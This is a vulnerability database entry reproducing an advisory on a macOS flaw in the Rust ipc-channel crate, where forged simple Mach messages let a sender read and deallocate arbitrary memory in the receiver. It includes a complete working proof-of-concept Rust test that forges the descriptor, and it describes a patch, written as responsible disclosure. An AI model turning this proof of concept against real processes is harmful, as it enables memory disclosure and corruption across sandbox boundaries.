
Cloud Vulnerability DB
A community-led vulnerabilities database
On macOS, the receive path in src/platform/macos/mod.rs trusts the body of every received Mach message. A process holding a send right to an ipc-channel receiver can send a simple (non-complex) message whose body imitates descriptors. The receiver then reads from and vm_deallocates an address and size the sender chose. All releases up to and including 0.23.0 are affected; other platforms are not.
In select():
MACH_MSGH_BITS_COMPLEX bit is never checked. The kernel writes descriptors only into complex messages; in a simple message, body.msgh_descriptor_count and every "descriptor" after it are bytes the sender chose.OsOpaqueIpcChannel::from_name).debug_assert!, then builds OsIpcSharedMemory::from_raw_parts(address, size) from sender-chosen values. Dropping that region calls vm_deallocate(mach_task_self(), address, size).bool) is false, the last such region is popped and copied with .to_vec(). That reads a sender-chosen range of the receiver's memory and returns it to the caller as the payload, then deallocates the range.msgh_size, so a large count walks past the receive buffer. The inline payload check (assert!(payload_size <= max_payload_size)) does not account for the flag, padding and size field, so a payload can extend into the trailer. Invalid input panics (assert!, expect) instead of returning an error.
Who can send: any holder of a send right. For an IpcOneShotServer, that is any process in the same bootstrap namespace that learns the server's name (often passed to a child on its command line). For an established channel, it is any process that was handed a sender, for example a less trusted child process.Against main at 6326a1a (v0.23.0), as a test module inside src/platform/macos (#[cfg(test)] mod poc; in mod.rs):
use super::mach_sys::{self, mach_msg_header_t, mach_msg_ool_descriptor_t};
use super::{
mach_task_self, OsIpcOneShotServer, OsIpcSender, KERN_SUCCESS, MACH_MSG_OOL_DESCRIPTOR,
MACH_MSG_SUCCESS, MACH_MSG_TIMEOUT_NONE, MACH_MSG_TYPE_COPY_SEND, MACH_MSG_VIRTUAL_COPY,
MACH_PORT_NULL, MACH_SEND_MSG,
};
use std::{mem, ptr, slice};
const SIZE: usize = 16384;
const TAG: u32 = 250; // VM_MEMORY_APPLICATION_SPECIFIC_11
fn tagged_page() -> *mut u8 {
let mut address = 0;
let flags = 1 | (TAG << 24) as i32; // VM_FLAGS_ANYWHERE | VM_MAKE_TAG(TAG)
let result = unsafe { mach_sys::vm_allocate(mach_task_self(), &mut address, SIZE, flags) };
assert_eq!(result, KERN_SUCCESS);
unsafe { ptr::write_bytes(address as *mut u8, 0xa5, SIZE) };
address as *mut u8
}
fn is_mapped(address: *mut u8) -> bool {
let address = address as usize;
let (mut region, mut size, mut depth) = (address, 0, 0);
let mut info: mach_sys::vm_region_submap_info_64 = unsafe { mem::zeroed() };
let mut count = (mem::size_of_val(&info) / 4) as u32;
let result = unsafe {
mach_sys::vm_region_recurse_64(
mach_task_self(),
&mut region,
&mut size,
&mut depth,
&mut info as *mut _ as mach_sys::vm_region_recurse_info_t,
&mut count,
)
};
let tag = info.user_tag;
result == KERN_SUCCESS && region <= address && address < region + size && tag == TAG
}
#[test]
fn simple_message_with_a_fake_region() {
let (server, name) = OsIpcOneShotServer::new().unwrap();
let sender = OsIpcSender::connect(name).unwrap();
let page = tagged_page();
// A simple message: descriptor count 1, one fake out-of-line descriptor
// naming `page`, inline-data flag 0.
let mut body = 1u32.to_ne_bytes().to_vec();
let mut descriptor: mach_msg_ool_descriptor_t = unsafe { mem::zeroed() };
descriptor.address = page as *mut _;
descriptor.size = SIZE as u32;
descriptor.set_copy(MACH_MSG_VIRTUAL_COPY);
descriptor.set_type(MACH_MSG_OOL_DESCRIPTOR);
body.extend_from_slice(unsafe {
slice::from_raw_parts(&descriptor as *const _ as *const u8, mem::size_of_val(&descriptor))
});
body.push(0);
let size = (mem::size_of::<mach_msg_header_t>() + body.len()).next_multiple_of(4);
let mut buffer = vec![0u64; size.div_ceil(8)];
let header = buffer.as_mut_ptr() as *mut mach_msg_header_t;
let result = unsafe {
(*header).msgh_bits = MACH_MSG_TYPE_COPY_SEND as u32;
(*header).msgh_size = size as u32;
(*header).msgh_remote_port = sender.port;
(*header).msgh_local_port = MACH_PORT_NULL;
ptr::copy_nonoverlapping(
body.as_ptr(),
(header as *mut u8).add(mem::size_of::<mach_msg_header_t>()),
body.len(),
);
mach_sys::mach_msg(header, MACH_SEND_MSG, size as u32, 0, MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL)
};
assert_eq!(result, MACH_MSG_SUCCESS);
assert!(is_mapped(page));
let (_receiver, message) = server.accept().unwrap();
// The payload is the receiver's own page, and the page has been freed.
assert!(message.data.len() == SIZE && message.data.iter().all(|byte| *byte == 0xa5));
assert!(!is_mapped(page));
}On macOS 26 (arm64) this test passes: accept() succeeds, the payload is the receiver's page, and the page is no longer mapped afterwards.
Memory corruption in the receiving process: an arbitrary read whose result is returned to the caller, and vm_deallocate of an arbitrary range, which can be turned into a use-after-free. Programs whose receivers can get messages from a less trusted process are exposed, for example a parent receiving from sandboxed children, or a one-shot server whose name another local process can learn. We found it in Firefox Enterprise, which uses ipc-channel between its launcher and the browser on macOS.
We have a patch against main (6326a1a), with tests, and can push it to a temporary private fork or attach it here. It makes the receive path check that a message has the layout OsIpcSender::send writes before using any part of it:
msgh_size with checked arithmetic.mach_msg_destroy (after marking every out-of-line region for deallocation, since mach_msg_destroy skips physical-copy and volatile regions), and recv, select and accept return a new MachError::RcvMalformedMessage instead of panicking.OsIpcSharedMemory derefs a null, zero-length region (how the kernel delivers an empty out-of-line region) as an empty slice.
It adds src/platform/macos/tests.rs with 21 tests and no new dependencies. The full suite passes on macOS in debug and release and with enable-slow-tests, async and force-inprocess; rustfmt and clippy (stable and 1.86) are clean for the changed files.
The same fix is already public in Mozilla's fork of the crate: https://github.com/mozilla/ipc-channel/pull/7. It does not mention Servo or upstream, but it shows the issue to anyone who compares the two.Found while working on this and not fixed by the patch; none is memory corruption. We are happy to send fixes for these too:
msgh_id set to MACH_NOTIFY_NO_SENDERS is treated as the kernel's no-senders notification before any validation, so a sender can make a receiver report itself closed, and the message's rights are leaked.msgh_remote_port) is never released, so a sender can exhaust the receiver's port names.mach_msg returns MACH_RCV_BODY_ERROR, the partly delivered message is not destroyed (from reading XNU, not reproduced).deserialize_os_ipc_sender and deserialize_os_ipc_receiver panic on an out-of-range port index from the payload.OsIpcSharedMemory::from_byte(_, 0) builds a slice from a null pointer.
Please credit johnreitano, lissyx and gcp (all Mozilla).Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."